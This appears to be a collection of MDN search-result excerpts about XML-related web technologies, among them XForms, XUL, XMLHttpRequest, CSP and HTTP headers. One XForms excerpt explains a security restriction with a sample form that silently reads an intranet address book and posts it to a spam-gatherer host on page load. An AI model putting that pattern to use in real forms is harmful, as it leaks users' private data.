...//dbaron.org/css/test/sec040310 http://dbaron.org/css/test/parsing3 http://dbaron.org/css/test/selector_confusion http://dbaron.org/css/test/univsel http://dbaron.org/css/test/childsel http://dbaron.org/css/test/sibsel http://dbaron.org/css/test/attrsel http://dbaron.org/css/test/twoclass http://dbaron.org/css/test/xmlid http://dbaron.org/css/test/pseudos http://dbaron.org/css/test/pseudos2 http://dbaron.org/css/test/pseudos3 http://dbaron.org/css/test/firstchild http://dbaron.org/css/test/sec051103 http://dbaron.org/css/test/sec051103b http://dbaron.org/css/test/order http://dbaron.org/css/test/inherit http://dbaron.org/css/test/sec060402 http://dbaron.org/css/test/sec060403b http://dbaron.org/css/test/specific http://dbaron.org/css/test/noncss1 http://dbaron.org/css/test/noncss2 http://dbar...
Element - Archive of obsolete content
ArchiveRSSModuleSlashElement
rss slash module elements note: in the list of elements below the slash xml namespace prefix is used (since it is a popular choice).
... however, use of slash as the xml namespace prefix is not necessary.
Element - Archive of obsolete content
rss well-formed web module elements note: in the list of elements below the wfw xml namespace prefix is used (since it is a popular choice).
... however, use of wfw as the xml namespace prefix is not necessary.
Table Reflow Internals - Archive of obsolete content
the initial chunk of an xml doc is loaded.
... the initial chunk of an html doc (or a subsequent chunk of an xml doc) is loaded.
Theme changes in Firefox 3 - Archive of obsolete content
all file list all platforms file description of change browser/themes/*/browser/browser.css the width of the drag and drop indicator is no longer calculated during the drag (tabbrowser.xml).
...also, the visibility of the indicator is now controlled by setting collapsed in tabbrowser.xml.
-moz-binding - Archive of obsolete content
syntax /* <url> value */ -moz-binding: url(http://www.example.org/xbl/htmlbindings.xml#checkbox); /* global values */ -moz-binding: inherited; -moz-binding: initial; -moz-binding: unset; values <url> the url for the xbl binding (including the fragment identifier).
... formal definition initial valuenoneapplies toall elements except generated content or pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <url> | none examples .exampleone { -moz-binding: url(http://www.example.org/xbl/htmlbindings.xml#radiobutton); } specifications not part of any standard.
New in JavaScript 1.6 - Archive of obsolete content
the corresponding ecma standard is ecma-262 edition 3 and ecmascript for xml (e4x) with some additional features.
... new features in javascript 1.6 support for ecmascript for xml (e4x) for creating and processing xml content within javascript has been added.
XForms Custom Controls Examples - Archive of obsolete content
output showing images <binding id="output-image" extends="chrome://xforms/content/xforms.xml#xformswidget-base"> <content> <html:div> <html:img anonid="content"/> </html:div> </content> <implementation implements="nsixformsuiwidget"> <method name="refresh"> <body> var img = document.getanonymouselementbyattribute(this, "anonid", "content"); img.setattribute("src", this.stringvalue); return true; </body> </method> </implementation> </binding> output showing xhtml <binding id="output-xhtml" extends="chrome://xforms/content/xforms-xhtml.xml#xformswidg...
... var val = this.stringvalue; var newdom = this.domparser.parsefromstring(val, "text/xml"); var impnode = document.importnode(newdom.firstchild, true); // get content node, clean it, and update it var content = document.getanonymouselementbyattribute(this, "anonid", "content"); if (content.firstchild) { content.removechild(content.firstchild); } content.appendchild(impnode); return true; </body> </method> </implementation> </binding> ...
Mozilla XForms Specials - Archive of obsolete content
if you are wondering why we have this restriction, here is a simple example of why: <xforms:model> <xforms:instance src="http://intranetserver/addrbook.xml"/> <xforms:submission id="sub" action="http://megaspammer.com/gather" method="post"/> <xforms:send submission="sub" ev:event="xforms-ready"/> </xforms:model> this imaginary would fetch something that is only accessible for you (f.x.
... behind a firewall) http://intranetserver/addrbook.xml, and send it to http://megaspammer.com/gather as soon as you view the xform.
XForms Repeat Element - Archive of obsolete content
example <xforms:model id="i_model"> <xforms:instance xmlns=""> <data xmlns:html="http://www.w3.org/1999/xhtml" xmlns=""> <val id="1"> <nest>nest 1.1</nest> <nest>nest 1.2</nest> </val> <val id="2"> <nest>nest 2.1</nest> <nest>nest 2.2</nest> </val> </data> </xforms:instance> </xforms:model> <div xforms:repeat-nodeset="val"> this is the inline content, just text.
...er> <xf:label>r</xf:label> <xf:delete ev:event="domactivate" at="index('anonidgridrepeat')" xbl:inherits="model, bind, nodeset"/> </xf:trigger> </xf:repeat> </xbl:content> </xbl:binding> </xbl:bindings> <style> div.grid { -moz-binding: url('#grid'); } </style> <xf:model> <xf:instance> <data xmlns=""> <repeat> <item> <input>input1</input> </item> <item> <input>input2</input> </item> <item> <input>input3</input> </item> </repeat> </data> </xf:instance> </xf:model> </head> <body> <xf:repeat nodeset="/data/repeat/item" id="gridrepeat"> <xf:input ref="input"/> ...
SVG - MDN Web Docs Glossary: Definitions of Web-related terms
scalable vector graphics (svg) is a 2d vector image format based on an xml syntax.
... based on an xml syntax, svg can be styled with css and made interactive using javascript.
Adding vector graphics to the Web - Learn web development
svg is an xml-based language for describing vector images.
...more advanced svg features include <fecolormatrix> (transform colors using a transformation matrix,) <animate> (animate parts of your vector graphic,) and <mask> (apply a mask over the top of your image.) as a simple example, the following code creates a circle and a rectangle: <svg version="1.1" baseprofile="full" width="300" height="200" xmlns="http://www.w3.org/2000/svg"> <rect width="100%" height="100%" fill="black" /> <circle cx="150" cy="100" r="90" fill="blue" /> </svg> this creates the following output: from the example above, you may get the impression that svg is easy to handcode.
Index - Learn web development
59 fetching data from the server api, article, beginner, codingscripting, fetch, json, javascript, learn, promises, server, xhr, xml, xmlhttprequest, data, request this article shows how to start working with both xhr and fetch to fetch data from the server.
...but forms can also prepare an http request to send via javascript, for example via xmlhttprequest.
A bird's-eye view of the Mozilla framework
the mozilla xptoolkit module provides a similar set of facilities for building cross-platform ui controls implemented as xml user interface language (xul) packages.
...when an html, xml, svg or other type of document is loaded, the nglayout engine (also known as gecko) parses the contents into a dom tree, and handles the layout and rendering of the document pages.
Testopia
the main new features are: support xml export and import of test plans and children support csv export of test cases and results.
... bugzilla 4.x mysql 5.0 or postgresql 8.3 mozilla compatible browser ;-) additional perl modules: text::csv xml::schema validator xml::schema::parser (for importer) and json 2.10 todo user preferences notification emails more reports see the roadmap and bug list for more details.
Debugging on Mac OS X
try builds use the developer.entitlements.xml file from the source tree while production builds use production.entitlements.xml.
... to obtain a hardened runtime build without using try infrastructure, a developer can manually codesign builds using the macos codesign(1) command with the developer.entitlements.xml file from the tree.
SVG Guidelines
metadata can mean many things, including: the typical "created with editor" comments non-standard editor specific tags and attributes (sketch:foo, illustrator:foo, sopodi:foo, …) the xml namespace definition that comes with the latter (xmlns:sketch, xmlns:sopodi, …) other metadata in addition to non-standard editor metadata, standard compliant metadata also exists.
...here's an example taking into account the list below: version x="0" and y="0" enable-background (unsupported by gecko and now deprecated by the filter effects specification) id (id on root element has no effect) xmlns:xlink attribute when there are no xlink:href attributes used throughout the file other unused xml namespace definitions xml:space when there is no text used in the file other empty tags, this may be obvious, but those are sometimes found in svgs unreferenced ids (usually on gradient stops, but also on shapes or paths) clip-rule attribute when the element is not a descendant of a <clipp...
How Mozilla determines MIME Types
if the file starts with <?xml, asks the externalhelperappservice for a mime type for the uri.
... this is done because the generic text/xml mime type does not work for xul files, and xhtml files get a different dom when interpreted as text/xml.
Property cache
(informally: adding a shared or readonly property to a prototype changes rt->protohazardshape.) (at the moment, xml objects and resolve hooks can trigger bugs in the implementation that break some of these guarantees.
...there are probably similar bugs to do with, for example, xml objects' custom getproperty op.) dense arrays are shapeless.
SpiderMonkey 24
e4x, an extension to ecmascript adding xml support, has been removed.
... it is recommended that you embed a separate xml parser, or include an xml parsing implementation written in javascript, as an alternative.
Feed content access API
use an xmlhttprequest to load the feed, then pass its string to an nsifeedprocessor to parse the feed.
...ses["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor); var listener = new feedtestresultlistener(); try { parser.listener = listener; parser.parsefromstring(data, uri); } catch(e) { alert("error parsing feed."); } } } httprequest = new xmlhttprequest(); httprequest.open("get", feedurl, true); try { httprequest.onload = inforeceived; httprequest.send(null); } catch(e) { alert(e); } } the nsifeedprocessor interface lets you parse the feed data from several possible sources; in this case, we're loading a document into a string, then parsing that string using its parsefromstring() method.
Introduction to XPCOM for the DOM
this would allow us to be able to re-use the nsdocument code in nsxmldocument, for example.
...the interface inheritance chain for nsihtmlcontent looks like this: nsisupports -> nsicontent -> nsistyledcontent -> nsixmlcontent -> nsihtmlcontent nsgenericelement has to implement all of the above interfaces, and all the real classes inheriting from nsgenericelement will automatically implement all those interfaces.
nsIAbCard
inherits from: nsisupports method overview astring getcardvalue(in string name) void setcardvalue(in string attrname, in astring value) void copy(in nsiabcard srccard) boolean equals(in nsiabcard card) string converttobase64encodedxml() astring converttoxmlprintdata() string converttoescapedvcard() astring generatename(in long agenerateformat,[optional] in nsistringbundle abundle) astring generatephoneticname(in boolean alastnamefirst) attributes attribute type description firstname astring lastname astring phoneticfirstname ...
... converttobase64encodedxml() string converttobase64encodedxml() return value converttoxmlprintdata() astring converttoxmlprintdata() return value converttoescapedvcard() string converttoescapedvcard() return value generatename() generate a name from the card for display purposes.
nsIDOMEvent
the name must be an xml name.
...the string must be an xml name.
nsIDOMProgressEvent
dom/interfaces/events/nsidomprogressevent.idlscriptable this interface represents the events sent with progress information while uploading data using the xmlhttprequest object.
... see also using xmlhttprequest xmlhttprequest nsixmlhttprequesteventtarget nsixmlhttprequest ...
nsIDOMSerializer
inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/xmlextras/xmlserializer;1.
... to create an instance, use: var domserializer = components.classes["@mozilla.org/xmlextras/xmlserializer;1"] .createinstance(components.interfaces.nsidomserializer); method overview void serializetostream(in nsidomnode root, in nsioutputstream stream, in autf8string charset); astring serializetostring(in nsidomnode root); methods serializetostream() the subtree rooted by the specified element is serialized to a byte stream using the character set specified.
nsIXULTemplateBuilder
as an example, for an xml data source the initial reference point would be a specific node in the dom tree and a template might generate a list of all child nodes.
...for xml this will be the nsidomnode for the datasource document or node for an inline reference (such as #name).
nsIXULTemplateQueryProcessor
for instance, when examining an xml source, an xml query processor might begin at the node referred by the reference variable and end at a list of that node's children.
...for example, for an xml source, the datasource might be an nsidomnode.
XPCOM Interface Reference by grouping
nsidownloadprogresslistener element internal nsiworker nsiworkerglobalscope nsiworkermessageevent nsiworkermessageport nsiworkerscope tree nsitreeboxobject nsitreecolumn nsitreecolumns nsitreecontentview nsitreeselection nsitreeview xform nsixformsmodelelement nsixformsnsinstanceelement nsixformsnsmodelelement xmlhttprequest nsixmlhttprequesteventtarget favicon nsifavicondatacallback nsifaviconservice frame nsichromeframemessagemanager nsiframeloader nsiframeloaderowner nsiframemessagelistener nsiframemessagemanager interface nsijsxmlhttprequest jetpack nsijetpack nsijetpackservice offlinestorage nsiapplicationcache ...
...rint32 nsisupportsprint64 nsisupportspriority nsisupportsprtime nsisupportspruint16 nsisupportspruint32 nsisupportspruint64 nsisupportspruint8 nsisupportsstring nsisupportsvoid nsisupportsweakreference nsivariant do not use nsienumerator nsiinprocesscontentframemessagemanager nsiscriptableio nsixpcscriptable future nsixmlhttprequestupload obsolete nsixmlrpcclient nsixmlrpcfault security auth nsiauthmodule nsiauthprompt nsiauthpromptprovider nsiauthpromptwrapper nsiasyncverifyredirectcallback content nsicontentpolicy credentials nsilogininfo nsiloginmanager using ...
XUL Overlays
MozillaTechXULOverlays
and given the following overlay: <?xml version="1.0"?> <overlay id="singleitemex" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menupopup id="menu_filepopup"> <menu id="file_menu"> <menuitem name="super stream player"/> </menu> </menupopup> </overlay> the result will be: ...
...<overlay id="main-overlay" xmlns:html="http://www.w3.org/1999/xhtml" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menu id="file_menu"> <menuitem name="example one"/> <menuitem name="example two"/> <menuitem name="example three"/> <menuitem name="example four" position="1"/> </menu> </overlay> the node with the positio...
Building a Thunderbird extension 1: introduction
it shares many of the technologies used by mozilla firefox, including javascript, the gecko layout engine, the xul xml user interface language and the xpcom cross-platform component object model.
...the tutorial has the following pages: introduction (this page) the extension filesystem (setting up your local system) install manifest (the install.rdf file that contains meta-information about the extension) chrome manifest (list of packages and overlays) xul (the xml user interface language that is used to modify the thunderbird user interface) adding javascript (explains how to add some simple javascript to your thunderbird extension) installing locally (enabling the extension on your local thunderbird instance) packaging (making a distribution package that contains the extension) distributing (from your own site or from http://addons.mozilla.org/) thi...
Building a Thunderbird extension 3: install manifest
the install.rdf file is an xml file that provides general information about the extension.
... open the file called install.rdf that you created at the top of your extension's directory hierarchy and paste the following text into the file: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>myfirstext@jen.zed</em:id> <em:name>my first extension</em:name> <em:version>1.0</em:version> <em:creator>jenzed</em:creator> <em:targetapplication> <description> <em:id>{3550f703-e582-4d05-9a08-453d09bdfdc6}</em:id> <em:minversion>1.5</em:minversion> <em:maxversion>5.0.*</em:maxversion> </description> </em:targetapplication> </description> </rdf> the following items (shown in bold) should ...
Building a Thunderbird extension 5: XUL
xul is an xml grammar that provides user interface widgets like buttons, menus, toolbars, trees etc.
... example xul overlay document create a new file called myhelloworld.xul within the content folder you created earlier with the following content: <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://myfirstext/content/overlay.js"/><!-- a reference to your javascript file --> <statusbar id="status-bar"> <statusbarpanel id="my-panel" label="date"/> </statusbar> </overlay> the <statusbar> widget named status-bar specifies the merg...
Theme Packaging
install.rdf your install.rdf manifest will look something like this: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:type>4</em:type> more properties </description> </rdf> required install.rdf properties your install.rdf file must have the following properties.
... sample install.rdf file <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>{18b64b56-d42f-428d-a88c-baa413bc413f}</em:id> <em:version>1.0</em:version> <em:type>4</em:type> <!-- target application this extension can install into, with minimum and maximum supported ve...
customDBHeaders Preference
user_pref( "mailnews.customdbheaders", "x-superfluous x-other"); adding a column the reply-to column tutorial does a good job of explaining how to add a column with an overlay, so i'll just show you my overlay file: <?xml version="1.0" ?> <overlay id="colsuperfluousoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type='application/javascript' src='chrome://superfluous/content/superfluous.js'/> <tree id="threadtree"> <treecols id="threadcols"> <splitter class="tree-splitter" /> <treecol id="colsuperfluous" persist="hidden ordinal width" currentview...
...e: deps:= chrome/ \ chrome.manifest \ chrome/content/ \ chrome/content/superfluous.js \ chrome/content/superfluous_overlay.xul \ install.rdf superfluous.xpi: ${deps} zip $@ ${deps} chrome.manifest: content superfluous chrome/content/ overlay chrome://messenger/content/messenger.xul chrome://superfluous/content/superfluous_overlay.xul install.rdf: <?xml version='1.0' encoding='utf-8'?> <rdf xmlns='http://www.w3.org/1999/02/22-rdf-syntax-ns#' xmlns:em='http://www.mozilla.org/2004/em-rdf#'> <description about='urn:mozilla:install-manifest'> <em:id>superfluous@yoursite.com</em:id> <em:version>0.1.1</em:version> <em:type>2</em:type> <!-- 2 is type 'extension' --> <em:targetapplication> <description> <!--...
Console messages - Firefox Developer Tools
if the request was made as an xmlhttprequest, there's an additional "xhr" tag indicating this.
... the web console supports the following console api messages: assert() clear() count() dir() dirxml() error() exception() group() groupend() info() log() table() time() timeend() trace() warn() the console prints a stack trace for all error messages, like this: function foo() { console.error("it explodes"); } function bar() { foo(); } function dostuff() { bar(); } dostuff(); server server-side log messages was introduced in firefox 43, but removed in firefox 56.
Comment - Web APIs
WebAPIComment
comments are represented in html and xml as content between '<!--' and '-->'.
... in xml, the character sequence '--' cannot be used within a comment.
DOMImplementation.createDocument() - Web APIs
the domimplementation.createdocument() method creates and returns an xmldocument.
... living standard modified the return type of createdocument() from document to xmldocument.
DOMImplementation - Web APIs
domimplementation.createdocument() creates and returns an xmldocument.
... modified the return type of createdocument() from document to xmldocument.
Document.createNSResolver() - Web APIs
also correctly resolves the implicit xml prefix.
...there is no way in xpath to pick up the default namespace as applied to a regular element reference (e.g., p[@id='_myid'] for xmlns='http://www.w3.org/1999/xhtml').
Document.evaluate() - Web APIs
WebAPIDocumentevaluate
notes xpath expressions can be evaluated on html and xml documents.
... while using document.evaluate() works in ff2, in ff3 one must use somexmldoc.evaluate() if evaluating against something other than the current document.
Document.getElementsByTagNameNS() - Web APIs
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>getelementsbytagnamens example</title> <script type="text/javascript"> function getallparaelems() { var allparas = document.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = allparas.length; alert("there are " + num + " &lt;p&gt; elements in this document"); } function div1paraelems() { var div1 = document.getelem...
...utton><br /> <button onclick="div1paraelems();"> show all p elements in div1 element</button><br /> <button onclick="div2paraelems();"> show all p elements in div2 element</button> </body> </html> potential workaround for other browsers which do not support if the desired browser did not support xpath, another approach (such as traversing the dom through all its children, identifying all @xmlns instances, etc.) would be necessary to find all tags with the desired local name and namespace, but xpath is much faster.
Document Object Model (DOM) - Web APIs
usually, that means javascript, although modeling html, svg, or xml documents as objects are not part of the core javascript language, as such.
...pe domerror domexception domimplementation domstring domtimestamp domstringlist domtokenlist element event eventtarget htmlcollection mutationobserver mutationrecord namednodemap node nodefilter nodeiterator nodelist nondocumenttypechildnode parentnode processinginstruction selection range text textdecoder textencoder timeranges treewalker url window worker xmldocument obsolete dom interfaces the document object model has been highly simplified.
Element.insertAdjacentHTML() - Web APIs
the insertadjacenthtml() method of the element interface parses the specified text as html or xml and inserts the resulting nodes into the dom tree at a specified position.
... text the string to be parsed as html or xml and inserted into the tree.
Element - Web APIs
WebAPIElement
in later versions, html elements are in the http://www.w3.org/1999/xhtml namespace in both html and xml trees.
... element.insertadjacenthtml() parses the text as html or xml and inserts the resulting nodes into the tree in the position given.
Using Fetch - Web APIs
this kind of functionality was previously achieved using xmlhttprequest.
...for example: if (window.fetch) { // run my fetch request here } else { // do something with xmlhttprequest?
FormData - Web APIs
WebAPIFormData
the formdata interface provides a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the xmlhttprequest.send() method.
... specifications specification status comment xmlhttprequestthe definition of 'formdata' in that specification.
FormDataEvent - Web APIs
this allows a formdata object to be quickly obtained in response to a formdata event firing, rather than needing to put it together yourself when you wish to submit form data via a method like xmlhttprequest (see using formdata objects).
... // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html living standardthe definition of 'formdataevent' in that specification.
Ajax navigation example - Web APIs
"&" + sviewkey + "=" + sviewmode : "").slice(1)).replace(rendqstmark, ""); } function getpage (spage) { if (bisloading) { return; } oreq = new xmlhttprequest(); bisloading = true; oreq.onload = ajaxload; oreq.onerror = ajaxerror; if (spage) { opageinfo.url = filterurl(spage, null); } oreq.open("get", filterurl(opageinfo.url, "json"), true); oreq.send(); oloadingbox.parentnode || document.body.appendchild(oloadingbox); } function requestpage (surl) { if (history.pushsta...
.../, rhost = /^[^\?]*\?*&*/, rview = new regexp("&" + sviewkey + "\\=[^&]*|&*$", "i"), rendqstmark = /\?$/, oloadingbox = document.createelement("div"), ocover = document.createelement("div"), oloadingimg = new image(), opageinfo = { title: null, url: location.href }, ohttpstatus = /* http://www.iana.org/assignments/http-status-codes/http-status-codes.xml */ { 100: "continue", 101: "switching protocols", 102: "processing", 200: "ok", 201: "created", 202: "accepted", 203: "non-authoritative information", 204: "no content", 205: "reset content", 206: "partial content", 207: "multi-status", 208: "already repo...
Working with the History API - Web APIs
adding and modifying history entries using pushstate() changes the referrer that gets used in the http header for xmlhttprequest objects created after you change the state.
... the referrer will be the url of the document whose window is this at the time of creation of the xmlhttprequest object.
MediaSource - Web APIs
examples the following simple example loads a video with xmlhttprequest, playing it as soon as it can.
...ource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; function fetchab (url, cb) { console.log(url); var xhr = new xmlhttprequest; xhr.open('get', url); xhr.responsetype = 'arraybuffer'; xhr.onload = function () { cb(xhr.response); }; xhr.send(); }; specifications specification status comment media source extensionsthe definition of 'mediasource' in that specification.
RequestDestination - Web APIs
navigator.sendbeacon(), eventsource, <a ping>, <area ping>, fetch(), xmlhttprequest, websocket, cache and more.
... "document" the target is a document (html or xml).
Resource Timing API - Web APIs
an application can use the timing metrics to determine, for example, the length of time it takes to load a specific resource, such as an xmlhttprequest, <svg>, image, or script.
... the initiatortype property returns the type of resource that initiated the performance entry such as "css" for a css resource, "xmlhttprequest" for an xmlhttprequest and "img" for an image (such as a jpeg).
Using Service Workers - Web APIs
(see our promises test example for the source code, or look at it running live.) note: a real service worker implementation would use caching and onfetch rather than the xmlhttprequest api.
... const imgload = (url) => { return new promise((resolve, reject) => { var request = new xmlhttprequest(); request.open('get', url); request.responsetype = 'blob'; request.onload = () => { if (request.status == 200) { resolve(request.response); } else { reject(error('image didn\'t load successfully; error code:' + request.statustext)); } }; request.onerror = () => { reject(error('there was a network error.')); }; request.send(); }); } we return a new promise using the promise() constructor, which takes as an argument a callback function with resolve and reject parameters.
Writing WebSocket servers - Web APIs
todo subprotocols think of a subprotocol as a custom xml schema or doctype declaration.
... you're still using xml and its syntax, but you're additionally restricted by a structure you agreed on.
Migrating from webkitAudioContext - Web APIs
the example below shows old code which downloads an audio file over the network, and then decoded it using createbuffer(): var xhr = new xmlhttprequest(); xhr.open("get", "/path/to/audio.ogg", true); xhr.responsetype = "arraybuffer"; xhr.send(); xhr.onload = function() { var decodedbuffer = context.createbuffer(xhr.response, false); if (decodedbuffer) { // decoding was successful, do something useful with the audio buffer } else { alert("decoding the audio buffer failed"); } }; converting this code to use decodeaudio...
...data() is relatively simple, as can be seen below: var xhr = new xmlhttprequest(); xhr.open("get", "/path/to/audio.ogg", true); xhr.responsetype = "arraybuffer"; xhr.send(); xhr.onload = function() { context.decodeaudiodata(xhr.response, function onsuccess(decodedbuffer) { // decoding was successful, do something useful with the audio buffer }, function onfailure() { alert("decoding the audio buffer failed"); }); }; note that the decodeaudiodata() method is asynchronous, which means that it will return immediately, and then when the decoding finishes, one of the success or failure callback functions will get called depending on whether the audio decoding was successful.
Web Authentication API - Web APIs
typically, server communications would be rest over https (probably using xmlhttprequest or fetch), but they could also be soap, rfc 2549 or nearly any other protocol provided that the protocol is secure.
...typically, server communications would be rest over https (probably using xmlhttprequest or fetch), but they could also be soap, rfc 2549 or nearly any other protocol provided that the protocol is secure.
Window - Web APIs
WebAPIWindow
domparser domparser can parse xml or html source stored in a string into a dom document.
... xmlserializer converts a dom tree into xml or html source.
XSLTProcessor - Web APIs
an xsltprocessor applies an xslt stylesheet transformation to an xml document to produce a new xml document as output.
... the resultant object depends on the output method of the stylesheet: output method result type html htmldocument xml xmldocument text xmldocument with a single root element <transformiix:result> with the text as a child [throws] void xsltprocessor.setparameter(string namespaceuri, string localname, any value) sets a parameter in the xslt stylesheet that was imported.
mask-type - CSS: Cascading Style Sheets
WebCSSmask-type
formal definition initial valueluminanceapplies to<mask> elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax luminance | alpha examples setting an alpha mask html <div class="redsquare"></div> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:alpha"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px; background-color: rgb(128, 128,...
... 128); border: solid 1px black; mask: url("#m"); } result setting a luminance mask html <div class="redsquare"></div> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:luminance"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px; background-color: rgb(128, 128, 128); border: solid 1px black; mask: url("#m"); mask-type:luminance; } result specifications specification status comment css masking module level 1the definition of 'mask-type' in that specification.
DOM onevent handlers - Developer guides
non-element objects event handlers can also be set with properties on non-element objects that generate events, like window, document, xmlhttprequest, and others.
... for example, for the progress event on instances of xmlhttprequest: const xhr = new xmlhttprequest(); xhr.onprogress = function() { … }; html onevent attributes html elements have attributes named onevent which can be used to register a handler for an event directly within the html code.
HTML5 - Developer guides
WebGuideHTMLHTML5
svg an xml-based format of vectorial images that can directly be embedded in the html.
... xmlhttprequest level 2 allows fetching asynchronously some parts of the page, allowing it to display dynamic content, varying according to the time and user actions.
Developer guides
parsing and serializing xml the web platform provides different methods of parsing and serializing xml, each with its pros and cons.
... using formdata objects the formdata object lets you compile a set of key/value pairs to send using xmlhttprequest.
HTML attribute: accept - HTML: Hypertext Markup Language
for instance, there are a number of ways microsoft word files can be identified, so a site that accepts word files might use an <input> like this: <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> whereas if you're accepting a media file, you may want to be include any format of that media type: <input type="file" id="soundfile" accept="audio/*"> <input type="file" id="videofile" accept="video/*"> <input type="file" id="imagefile" accept="image/*"> the accept attribute doesn't validate the types of the selected files; it simply provides ...
...(many mobile devices also let the user take a picture with the camera when this is used.) accept=".doc,.docx,.xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document" — accept anything that smells like an ms word document.
<html>: The HTML Document / Root element - HTML: Hypertext Markup Language
WebHTMLElementhtml
xmlns specifies the xml namespace of the document.
...this is required in documents parsed with xml parsers, and optional in text/html documents.
lang - HTML: Hypertext Markup Language
even if the lang attribute is set, it may not be taken into account, as the xml:lang attribute has priority.
... recommendation snapshot of html living standard, behavior with xml:lang and language determination algorithm defined.
Link types - HTML: Hypertext Markup Language
if the type is set to application/rss+xml or application/atom+xml, the link defines a syndication feed.
... if the type attribute is set to application/opensearchdescription+xml the resource is an opensearch plugin that can be easily added to the interface of some browsers like firefox or internet explorer.
Accept - HTTP
WebHTTPHeadersAccept
syntax accept: <mime_type>/<mime_subtype> accept: <mime_type>/* accept: */* // multiple types, weighted with the quality value syntax: accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8 directives <mime_type>/<mime_subtype> a single, precise mime type, like text/html.
... examples accept: text/html accept: image/* // general default accept: */* // default for navigation requests accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 specifications specification title rfc 7231, section 5.3.2: accept hypertext transfer protocol (http/1.1): semantics and context ...
Access-Control-Allow-Credentials - HTTP
the access-control-allow-credentials header works in conjunction with the xmlhttprequest.withcredentials property or with the credentials option in the request() constructor of the fetch api.
... examples allow credentials: access-control-allow-credentials: true using xhr with credentials: var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.send(null); using fetch with credentials: fetch(url, { credentials: 'include' }) specifications specification status comment fetchthe definition of 'access-control-allow-credentials' in that specification.
Content-Location - HTTP
examples requesting data from a server in different formats let's say a site's api can return data in json, xml, or csv formats.
... if the url for a particular document is at https://example.com/documents/foo, the site could return different urls for content-location depending on the request's accept header: request header response header accept: application/json, text/json content-location: /documents/foo.json accept: application/xml, text/xml content-location: /documents/foo.xml accept: text/plain, text/* content-location: /documents/foo.txt these urls are examples — the site could serve the different filetypes with any url patterns it wishes, such as a query string parameter: /documents/foo?format=json, /documents/foo?format=xml, and so on.
CSP: connect-src - HTTP
the apis that are restricted are: <a> ping, fetch, xmlhttprequest, websocket, eventsource, and navigator.sendbeacon().
... examples violation cases given this csp header: content-security-policy: connect-src https://example.com/ the following connections are blocked and won't load: <a ping="https://not-example.com"> <script> var xhr = new xmlhttprequest(); xhr.open('get', 'https://not-example.com/'); xhr.send(); var ws = new websocket("https://not-example.com/"); var es = new eventsource("https://not-example.com/"); navigator.sendbeacon("https://not-example.com/", { ...
X-Content-Type-Options - HTTP
however, it also enables cross-origin read blocking (corb) protection for html, txt, json and xml files (excluding svg image/svg+xml).
...ptions: nosniff directives nosniff blocks a request if the request destination is of type: "style" and the mime type is not text/css, or "script" and the mime type is not a javascript mime type enables cross-origin read blocking (corb) protection for the mime-types: text/html text/plain text/json, application/json or any other type with a json extension: */*+json text/xml, application/xml or any other type with an xml extension: */*+xml (excluding image/svg+xml) specifications specification status comment fetchthe definition of 'x-content-type-options definition' in that specification.
MathML element reference - MathML
